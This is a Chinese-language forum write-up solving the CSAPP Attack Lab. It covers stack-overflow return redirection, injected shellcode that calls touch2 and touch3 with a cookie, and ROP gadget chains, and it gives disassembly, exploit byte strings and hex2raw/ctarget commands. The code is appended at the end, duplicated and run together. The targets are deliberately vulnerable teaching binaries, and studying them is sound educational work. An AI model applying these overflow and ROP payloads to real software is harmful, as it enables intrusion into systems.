-
-
[原创]《深入理解计算机系统》Attack Lab 题解
-
发表于: 2025-5-30 21:39 2983
-
阅读此篇题解需要有CSAPP第三章基础,对于基本汇编指令本文不做过多说明。尝试Lab前应先下载官方提供的Writeup并在开始每一阶段前阅读相应内容,否则容易一头雾水。
注意,因为我们是在本地运行Lab,所以运行程序时要加上参数-q,告诉程序不上数据传到伺服器,否则无法运行。
笔者学识稍浅,若有疏漏或错误处,欢迎各位大佬指正。
文档给了test函数的C代码:
还给了touch1函数的代码:
题目要求当getbuf返回时不返回到下一行的printf,而是跳转到touch1运行。
首先查看getbuf的反汇编代码:
0x4017a8处指令开辟了大小0x28 = 40(字节)的栈空间,然后将栈顶作为参数(%rdi)传给Gets函数。
我们需要在输入时输入48字节的内容让栈溢出,使返回地址被覆盖为touch1的内存地址。
查看代码我们可以发先touch1首行指令在地址0x4017c0处,这是我们想让代码从getbuf返回的地址。(注意,因为机器采小端序,在输入时应输入C0 17 40 00)
由此,我们可以构建出shellcode:
我们将这段内容保存在档案phase_1中,然后使用lab提供的工具hex2raw将其转换成程序接受的string类型。
注意,运行ctarget前要加上-q,防止因为程序连接不上伺服器而报错。

查看文档,发现给出的touch2函数要求传入一个无符号数,并检查该输入是否与cookie相等。
首先查看代码可以知道touch2函数开头地址为0x4017ec。在Lab文件夹内有一个文件叫cookie.txt,里面存放着我们需要的cookie值。

因为我们要将cookie值传给touch2,回想CSAPP第三章内容可以知道,函数的第一个参数存放在%rdi中。所以我们需要执行以下代码:
然后我们要调用touch2函数,即0x4017ec地址处。这里我们不使用call或jmp而使用ret,因为偏移不好计算。注意,ret指令会跳转到栈顶保存的地址,并将该地址出栈(pop)。
将三行汇编代码结合在一起,就成功达成调用函数的功能了。我们将这段代码保存在phase_2_asm.s中,然后使用指令:
打开phase_2_asm.asm,可以发现对应的机器代码。
即:
有这些还不够,因为这些数据在输入后会被储存在栈中,所以会被视为数据而非代码的一部份。所以我们利用栈溢出将栈中原本的储存地址覆盖成栈顶(用户输入数据的存储起始点)的位置,即可让该段代码被值行。(即将%rip设置为%rsp)
通过gdb查看,我们可以发现用户输入数据的存储起始点在0x5561dc78处。

利用0填充空间后,我们可以构建出shellcode并将其保存在phase_2中:
利用以下代码验证其正确性:

查看文档,发现这题需要给hexmatch函数传入一个等于cookie的字符串,其中字符串应传入首字符的地址(char *)。
首先查看touch3的地址:0x4018fa。cookie的值在phase_2就找到过了:0x59b997fa。文档中说明传入的cookie字符串不应包含前缀的0x,所以实际要传入的字符串应为:59b997fa。
注意,通过查看文档,我们可以发现一句话:"When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie. "。即当hexmatch和strncmp被调用时会将数据入栈,可能会覆盖getbuf的部分内容,需要小心选择字符串储存地址。
意即避免将字符串存放在getbuf的栈帧内,故此我们选择将其存放在test的栈帧内。

查看test的栈底:0x5561dca8。
参考phase_2我们可以编写出以下汇编代码,并将其转换为机器代码:
到目前为止,我们可以写出以下与phase_2雷同的shellcode:
由于我们的字符串应储存在0x5561dca8,而储存我们输入的首地址在0x5561dc78,所以我们应该给输入的最后一行填充0并在下一行处填入cookie字符串。
回想字符串如何储存:利用ASCII表示字符。
将cookie转换为ASCII码后为:35 39 62 39 39 37 66 61
至此,我们的shellcode就构建出来了:
创建文件phase_3并将shellcode存放在该的文件中,测试:

下个阶段不能使用前三个阶段的代码注入(Code Injection)技术,因为:
故,下两阶段会用到ROP知识(Return-Oriented Programming)。
ROP使用的概念是找出程序中的特殊几个字节,即我们想要执行的代码与ret,我们称这种片段gadget(ret指令用来跳转到下一个gadget)。

上图说明了如何在栈中设置并执行一连串的gadget,其中0xc3表示指令ret。当每个gadget运行到ret时,会从栈顶取出下一个gadget的地址并执行,使得整个gadget链被完整执行。
用以下例子举例:
字节序列48 89 c7就可以组成指令movq %rax, %rdi,并且这个序列最后还跟随了一个c3,也就是ret。我们的目标序列在地址0x400f18处,所以如果直接跳转到0x400f18处就可以执行我们想要执行的指令。
此题与phase_2雷同,只是开启了保护。因为无法在栈上执行代码,所以我们使用ROP。
在此我们想使用gadget实现以下功能:
但是显然gadget中不会包含我们需要的立即数(如:0x59b997fa)。换个思路,我们可以将数据存放在栈中,然后使用popq取得数值。搜寻popq %rdi对应的机器代码5f,发现无法在有效区内找到。我们换个思路,可以尝试用一个中转寄存器储存这个值:

查看上图可发现,对应机器代码为:58 c3与48 89 c7 c3。通过搜索我们可以找到以下两个函数:
通过在0x4019cc截断第一个函数可以构成gadget1(90为nop,即no operation),在0x4019a2截断第二个函数可以构成gadget2。
理想状态下,我们期望栈的状态如下:
当getbuf执行ret后,会跳转到gadget1并将其地址出栈。
这时gadget1中的pop就会将cookie值从栈顶取出,然后跳转到gadget2继续执行。
故此,我们可以构建出以下shellcode,并保存在phase_4中:
验证正确性:

终于到这个阶段了,可以先休息一波。官方文档还温馨提示我们:已经得到了95/100的分数,这是一个很棒的分数了。如果大家有甚么其他更重要的事情可以先放下这个lab去做啦!因为这个阶段只占可怜的5分,不值得我们耗费这么多时间去解答它,除非我们将它视为额外的挑战任务,想要超越这门课程对普通学生的期待程度。
既然如此,各位看官若是手头上有其他事情要做,就可以关闭这份题解啦!否则,我们还有路要走喔。
因为地址随机,所以想要获取字符串的储存地址应该使用%rsp + <bias>的形式取得。
我们想要实现以下功能:
但是寻找后发现没有add的机器码,我们可以使用另一个函数代替。
因为某些mov指令的源或目标寄存器的机器码不存在程序中,所以我们需要通过一些过渡寄存器来传递这些值。相信各位在经历phase 4后,已经可以独立寻找到相应的机器码地址。此处便不再重述,直接给出栈的样子 (省略各gadget的ret指令)。
注意此处偏移量的计算:执行mov %rsp, %rax时,%rsp其实正指向存放mov %rax, %rdi的栈内存。回忆ret指令相等于以下两条指令pop %rsp+ jmp %rsp,所以执行第一个gadget时,%rsp正指向第二个gadget的内存地址。从第二个gadget算起,到cookie字符串储存的地址,中间隔了9个8字节的大小,所以偏移量为8×9=72(0x48)。
以上,可以构建出shellcode:
验证正确性:

至此,五个阶段全部完结。
终于完结此篇题解,时间拖得有些久,因为进入大学的准备忙得焦头烂额。最近才知道录取的是专业大类且没法依个人意愿自由分流,也就是说进入学校后还需二次分流,笔者很难依意愿进入喜爱的计算机了。正考虑继续就读本地大学或申请国外大学两条路,若选择继续就读本地大学,以后更新频率可能会创下新低,只能使用课余时间研究。等于回到高中时期,既要顾课业也要顾兴趣。最近也要为分流考试准备,预习数学与刷题,可能更新频率也不会太高。
最后,谢谢你愿意看我的后记碎碎念。
void test(){ int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val);}void test(){ int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val);}void touch1(){ vlevel = 1; /* Part of validation protocol */ printf("Touch1!: You called touch1()\n"); validate(1); exit(0);}void touch1(){ vlevel = 1; /* Part of validation protocol */ printf("Touch1!: You called touch1()\n"); validate(1); exit(0);}00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00C0 17 40 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00C0 17 40 00./hex2raw < phase_1 | ./ctarget -q./hex2raw < phase_1 | ./ctarget -qvoid touch2(unsigned val) { vlevel = 2; if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0.x%8x)\n", val); fail(2); } exit(0);}void touch2(unsigned val) { vlevel = 2; if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0.x%8x)\n", val); fail(2); } exit(0);}00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>movq $0x59b997fa, %rdimovq $0x59b997fa, %rdipushq $0x4017ecretpushq $0x4017ecretgcc -c phase_2_asm.sobjdump -d phase_2_asm > phase_2_asm.asmgcc -c phase_2_asm.sobjdump -d phase_2_asm > phase_2_asm.asmphase_2_asm.o: file format elf64-x86-64Disassembly of section .text:0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c: c3 retq phase_2_asm.o: file format elf64-x86-64Disassembly of section .text:0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c: c3 retq 48 c7 c7 fa 97 b9 59 68ec 17 40 00 c3 48 c7 c7 fa 97 b9 59 68ec 17 40 00 c3